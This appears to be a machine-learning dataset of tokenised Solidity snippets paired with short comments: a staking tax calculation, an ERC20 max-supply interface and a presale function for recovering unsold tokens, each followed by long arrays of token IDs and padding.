./full_match/97/0x712751B3a90B8b4F302C4A3918f750f5c40A4798/sources/contracts/Farmcertificate.sol
|
apply farm taxes to this deposit
|
uint256 stakeTax = stakeFee.mul(_finalAmountTransferred).div(100);
| 3,292,889 |
[
1,
4625,
348,
7953,
560,
30,
225,
2230,
284,
4610,
5320,
281,
358,
333,
443,
1724,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
3639,
2254,
5034,
384,
911,
7731,
273,
384,
911,
14667,
18,
16411,
24899,
6385,
6275,
1429,
4193,
2934,
2892,
12,
6625,
1769,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/43113/0x2a9A7189F539a39215ae524Ca803CfbA16119432/sources/src/token/ERC20/extensions/supply/IERC20SupplyExtension.sol
|
* @dev Extension of {ERC20} that tracks supply and defines a max supply cap./
|
interface IERC20SupplyExtension {
function maxSupply() external view returns (uint256);
}
| 7,178,080 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
10021,
434,
288,
654,
39,
3462,
97,
716,
13933,
14467,
471,
11164,
279,
943,
14467,
3523,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
5831,
467,
654,
39,
3462,
3088,
1283,
3625,
288,
203,
565,
445,
943,
3088,
1283,
1435,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xe4b95F0E5182a2512BCDd15A3b53D18CC45d25eb/sources/PreSale.sol
|
check unsold tokens
|
function getUnSoldTokens() onlyOwner external{
require(block.timestamp > endSale, "sale is not closed");
uint256 tokensInContract = IERC20(tokenAddress).balanceOf(address(this));
require(tokensInContract > 0, "no unsold tokens in contract");
require(IERC20(tokenAddress).transfer(owner, tokensInContract), "transfer of token failed");
}
| 2,862,793 |
[
1,
4625,
348,
7953,
560,
30,
225,
866,
16804,
1673,
2430,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
